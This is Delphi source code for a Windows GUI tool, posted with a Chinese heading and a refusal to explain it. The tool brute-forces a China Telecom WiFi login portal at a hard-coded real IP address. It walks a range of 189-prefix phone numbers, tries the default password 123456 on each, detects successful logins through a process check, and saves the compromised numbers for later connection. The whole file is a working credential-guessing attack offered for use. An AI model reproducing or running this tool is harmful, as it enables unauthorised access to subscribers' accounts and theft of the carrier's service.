电信AIR
不想解释,不想告诉你这是什么。
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls, OleCtrls, SHDocVw, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, GIFImg, Gauges, Menus, AppEvnts; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Button2: TButton; ListView1: TListView; Memo1: TMemo; Panel1: TPanel; Label6: TLabel; Label7: TLabel; Label8: TLabel; Label9: TLabel; WebBrowser1: TWebBrowser; Image1: TImage; Button3: TButton; ProgressBar1: TProgressBar; PopupMenu1: TPopupMenu; N1: TMenuItem; Export1: TMenuItem; OpenDialog1: TOpenDialog; TrayIcon1: TTrayIcon; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure ListView1DblClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Button3Click(Sender: TObject); procedure N1Click(Sender: TObject); procedure Export1Click(Sender: TObject); procedure TrayIcon1Click(Sender: TObject); Protected procedure WMSysCommand(var Message: TWMSysCommand); message WM_SYSCOMMAND; private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses TLHelp32, IdMultipartFormData; type TTelRec = packed record Telphone: string[12]; end; var SuccessNum: Integer; Count: Integer; { 号码总数 } StartNum: Integer; { 起始号码 } OverNum: Integer; { 结束号码 } NowNum: Integer; { 已检测的数目 } Telphone: Integer; { 整数型 } Tel: String; { 字符型 } Delay: Integer; { 延迟时间 } Stop: Integer; { 停止标识符 } item: TListItem; { 忘了 } ActionUrl: String; { Post 的目标 } Times: Integer; { 遍历次数计数 } { 进程存在性检测函数 } function FindProcess(AFileName: string): boolean; var hSnapshot: THandle; { 用于获得进程列表 } lppe: TProcessEntry32; { 用于查找进程 } Found: boolean; { 用于判断进程遍历是否完成 } begin Result := False; hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); { 获得系统进程列表 } lppe.dwSize := SizeOf(TProcessEntry32); { 在调用Process32First API之前,需要初始化lppe记录的大小 } Found := Process32First(hSnapshot, lppe); { 将进程列表的第一个进程信息读入ppe记录中 } while Found do begin if ((UpperCase(ExtractFileName(lppe.szExeFile)) = UpperCase(AFileName)) or (UpperCase(lppe.szExeFile) = UpperCase(AFileName))) then begin Result := True; end; Found := Process32Next(hSnapshot, lppe); { 将进程列表的下一个进程信息读入lppe记录中 } end; end; { 结果导出功能 } procedure ExportResults(senfer: TObject); var DataFile: file of TTelRec; { 声明 DataFile 用来读写 TTelRec 结构数据 } TelRec: TTelRec; { 声明结构变量 } FileName: string; { 欲保存的文件名 } MyTime: TsystemTime; { 时间 } N: Integer; begin { 检测结果是否为空 } if Form1.ListView1.Items.Count = 0 then begin Application.MessageBox('No Result(s)!', 'Oh No!', MB_OK); end else begin { 文件名设置 ,根据时间设置。 } GetSystemTime(MyTime); FileName := IntToStr(MyTime.wYear) + IntToStr(MyTime.wMonth) + IntToStr (MyTime.wDay) + IntToStr(MyTime.wHour) + IntToStr(MyTime.wMinute) + IntToStr(MyTime.wSecond) + '.DAT'; AssignFile(DataFile, FileName); { 关联文件 } Rewrite(DataFile); { 建立文件, 如果存在就覆盖 } { 遍历LISTVIEW } for N := 0 to Form1.ListView1.Items.Count - 1 do begin TelRec.Telphone := Form1.ListView1.Items.item[N].Caption; Write(DataFile, TelRec); { 写入 } end; CloseFile(DataFile); { 关闭文件 } end; end; { 导入文件 } procedure ImportResults(senfer: TObject); var DataFile: file of TTelRec; { 声明 DataFile 用来读写 TTelRec 结构数据 } TelRec: TTelRec; { 声明结构变量 } FileName: string; { 文件名 } begin { 打开文件对话框,取得文件路径 } if Form1.OpenDialog1.Execute then begin FileName := Form1.OpenDialog1.FileName; end; if FileName = '' then begin exit; end else begin { 清空ListView } Form1.ListView1.Clear; AssignFile(DataFile, FileName); Reset(DataFile); while not Eof(DataFile) do begin { 读取文件 } Read(DataFile, TelRec); { 写入文件 } item := Form1.ListView1.Items.Add; item.Caption := TelRec.Telphone; item.SubItems.Add('Success'); end; end; end; { 结果过滤 } procedure FilterResult(Sender: TObject); var N: Integer; begin { 遍历结果 } for N := Form1.ListView1.Items.Count - 1 downto 0 do begin if Form1.ListView1.Items.item[N].SubItems.Strings[0] = 'Fail' then begin Form1.ListView1.Items.item[N].Delete; { 删除数据 } end; end; end; { 操作按钮控件 } function EnumChildWndProc(AhWnd: LongInt; AlParam: lParam): boolean; stdcall; var WndClassName: array [0 .. 254] of Char; { 类名 } WndCaption: array [0 .. 254] of Char; { 标题名 } begin { 遍历数目计数器加一 } Times := Times + 1; GetClassName(AhWnd, WndClassName, 254); GetWindowText(AhWnd, WndCaption, 254); if Times = 12 then begin Result := False; { 模拟点击 } SendMessage(AhWnd, WM_LBUTTONDOWN, 0, 0); SendMessage(AhWnd, WM_LBUTTONUP, 0, 0); end else begin Result := True; end; end; { 断开连接 } procedure Disconnect(Sender: TObject); var hWindow: HWND; { 窗体句柄 } begin { 断开连接 } { 模拟点击 } { 根据标题获取窗体的句柄 } hWindow := FindWindow(nil, 'WIFI TRAY'); { 初始化计数器 } Times := 0; EnumChildWindows(hWindow, @EnumChildWndProc, 0); end; { 延迟函数 } procedure TimeStop(msecs: Integer); var Tick: DWord; Event: THandle; begin Event := CreateEvent(nil, False, False, nil); try Tick := GetTickCount + DWord(msecs); while (msecs > 0) and (MsgWaitForMultipleObjects(1, Event, False, msecs, QS_ALLINPUT) <> WAIT_TIMEOUT) do begin Application.ProcessMessages; msecs := Tick - GetTickCount; end; finally CloseHandle(Event); end; end; { 猜测函数 } procedure ChechTel(Telphone: Integer); begin // ShowMessage(IntToStr(Telphone)); { Post } Tel := 'http://219.150.59.241:80/login.do?username=189' + IntToStr(Telphone) + '&&passwd=123456&&postfix=@cw.xz.chntel.com&&address=xz&&areacode=ln&&browser=1&&loginvalue=1&&basePath=http%3A%2F%2F219.150.59.241%3A80%2F&&language=cn'; Form1.WebBrowser1.Navigate(Tel); Form1.Label8.Caption := 'Checking 189' + IntToStr(Telphone); { 延迟 } TimeStop(Delay); { 判断是否登录成功 } if FindProcess('wifiTray.dll') then begin item := Form1.ListView1.Items.Add; item.Caption := '189' + IntToStr(Telphone); item.SubItems.Add('Success'); Form1.Memo1.Lines.Add('Find a Telphone Login Success : 189' + IntToStr (Telphone)); { 托盘显示成功消息 } Form1.TrayIcon1.ShowBalloonHint; { 显示托盘消息 } Form1.TrayIcon1.BalloonTitle := 'AIR HAVE A GOOD MESSAGE!'; { 托盘标题 } Form1.TrayIcon1.BalloonHint := 'FIND A TELPHONE : 189' + IntToStr(Telphone) + ' - [' + IntToStr(NowNum) + '/' + IntToStr(Count) + ']'; { 内容 } Form1.TrayIcon1.BalloonTimeout := 5; { 停留时间 } { 断开连接 } Disconnect(nil); { 成功计数器加加 } SuccessNum := SuccessNum + 1; end else begin item := Form1.ListView1.Items.Add; item.Caption := '189' + IntToStr(Telphone); item.SubItems.Add('Fail'); end; { 已检测计数器加加 } NowNum := NowNum + 1; { 进度条 } Form1.ProgressBar1.Position := NowNum + 1; Application.ProcessMessages; end; { Connect } procedure Connect(Tel: String); begin { post } Form1.WebBrowser1.Navigate ('http://219.150.59.241:80/login.do?username=' + Tel + '&&passwd=123456&&postfix=@cw.xz.chntel.com&&address=xz&&areacode=ln&&browser=1&&loginvalue=1&&basePath=http%3A%2F%2F219.150.59.241%3A80%2F&&language=cn'); { 延迟 } TimeStop(Delay); { 判断登陆是否成功 } if FindProcess('wifiTray.dll') then begin Form1.Memo1.Lines.Add('Connect Success!'); end; end; { 处理号码段 } procedure TForm1.Button1Click(Sender: TObject); var Num: Integer; begin { 初始化计数器 } SuccessNum := 0; { 成功的数目清空 } Stop := 0; { 停止标识为否 } NowNum := 0; { 已检测数目清空 } { 取得开始和结束号码 } StartNum := StrToInt(Edit1.Text); OverNum := StrToInt(Edit2.Text); { 取得号码段总数 } if OverNum < StartNum then begin Application.MessageBox('Are You Ok? Guys!', 'Oh No!', MB_OK); exit; end else begin Count := OverNum - StartNum + 1; end; { 进度条设置 } ProgressBar1.Min := 0; ProgressBar1.Max := Count; ProgressBar1.Step := 1 div Count; { 初始电话号码 } Telphone := StartNum; { 取得延迟时间 } Delay := StrToInt(Edit3.Text); { 清空控件 } ListView1.Items.Clear; Memo1.Clear; { 检测是否已经断网 } if FindProcess('wifiTray.dll') then begin Application.MessageBox('Please Disconnect Your Wifi Net!', 'Oh No!', MB_OK); exit; end else begin Memo1.Lines.Add('Checking...'); { Gif } TGIFImage(Image1.Picture.Graphic).AnimationSpeed := 500; TGIFImage(Image1.Picture.Graphic).Animate := True; { 循环猜测 } for Num := 0 to Count - 1 do begin if Stop = 0 then begin ChechTel(Telphone); { 电话号码递增 } Telphone := Telphone + 1; end else begin { Stop } end; end; { 停止标志,这个很重要! } Stop := 1; TGIFImage(Image1.Picture.Graphic).Animate := False; end; { 统计结果 } Memo1.Lines.Add('All Done!'); Memo1.Lines.Add('Find ' + IntToStr(SuccessNum) + ' Result(s)'); { 对结果进行过滤 } FilterResult(nil); { 托盘消息 } Form1.TrayIcon1.ShowBalloonHint; { 显示托盘消息 } Form1.TrayIcon1.BalloonTitle := 'AIR CHECK RESULTS'; { 托盘标题 } Form1.TrayIcon1.BalloonHint := 'Check Finish! Success : ' + IntToStr (SuccessNum); { 内容 } Form1.TrayIcon1.BalloonTimeout := 5; { 停留时间 } end; { 停止工作 } procedure TForm1.Button2Click(Sender: TObject); begin if Stop = 0 then begin { 很重要 } Stop := 1; Memo1.Lines.Add('Stoping...'); TGIFImage(Image1.Picture.Graphic).Animate := False; end; end; procedure TForm1.Button3Click(Sender: TObject); begin { 判断是否已经登录 } if FindProcess('wifiTray.dll') then begin { 断开连接 } Disconnect(nil); Form1.Memo1.Lines.Add('Disconnect!'); end; end; procedure TForm1.Export1Click(Sender: TObject); begin if Stop = 0 then begin Application.MessageBox('Please Stop The Check Before Export.', 'Oh No!', MB_OK); exit; end; ExportResults(nil); end; { 程序初始化 } procedure TForm1.FormCreate(Sender: TObject); var column: TListColumn; rs: TResourceStream; begin column := ListView1.Columns.Add; column.Width := 280; column.Caption := 'Telphone'; column := ListView1.Columns.Add; column.Width := 105; column.Caption := 'Status'; ListView1.Align := alTop; ListView1.ViewStyle := vsReport; ListView1.GridLines := True; { 非默认 } ListView1.ShowColumnHeaders := True; { 默认 } ActionUrl := 'http://219.150.59.241:80/login.do'; Stop := 1; { Gif 文件释放 } DeleteFile('loading.gif'); rs := TResourceStream.Create(HInstance, 'GifImage_1', RT_RCDATA); rs.SaveToFile('loading.gif'); rs.Free; FileSetAttr('loading.gif', 2); Image1.Picture.LoadFromFile('loading.gif'); { 托盘 } Form1.Tag := Ord(Form1.WindowState); Form1.TrayIcon1.SetDefaultIcon; Form1.TrayIcon1.Visible := True; end; procedure TForm1.FormDestroy(Sender: TObject); begin DeleteFile('loading.gif'); end; procedure TForm1.ListView1DblClick(Sender: TObject); begin if Stop = 0 then begin Application.MessageBox('Please Stop The Check Before Connect. ', 'Oh No!', MB_OK); exit; end else begin Connect(ListView1.Selected.Caption); end; end; procedure TForm1.N1Click(Sender: TObject); begin if Stop = 0 then begin Application.MessageBox('Please Stop The Check Before Import. ', 'Oh No!', MB_OK); exit; end; ImportResults(nil); end; { 隐藏到托盘 } procedure FormHide(Sender: TObject); begin Form1.Tag := Ord(Form1.WindowState); Form1.WindowState := wsMinimized; Form1.TrayIcon1.SetDefaultIcon; Form1.TrayIcon1.Visible := True; Form1.Hide; { 托盘消息 } Form1.TrayIcon1.ShowBalloonHint; { 显示托盘消息 } Form1.TrayIcon1.BalloonTitle := 'AIR CHECKING...'; { 托盘标题 } Form1.TrayIcon1.BalloonHint := 'Have a good luck !'; { 内容 } Form1.TrayIcon1.BalloonTimeout := 5; { 停留时间 } end; { 监视最小化消息 } procedure TForm1.WMSysCommand(var Message: TWMSysCommand); begin case Message.CmdType of SC_MINIMIZE: FormHide(nil); end; inherited; end; { 托盘双击显示窗口 } procedure TForm1.TrayIcon1Click(Sender: TObject); begin Form1.Show; Form1.WindowState := TWindowState(Form1.Tag); SetForegroundWindow(Form1.Handle); end; end.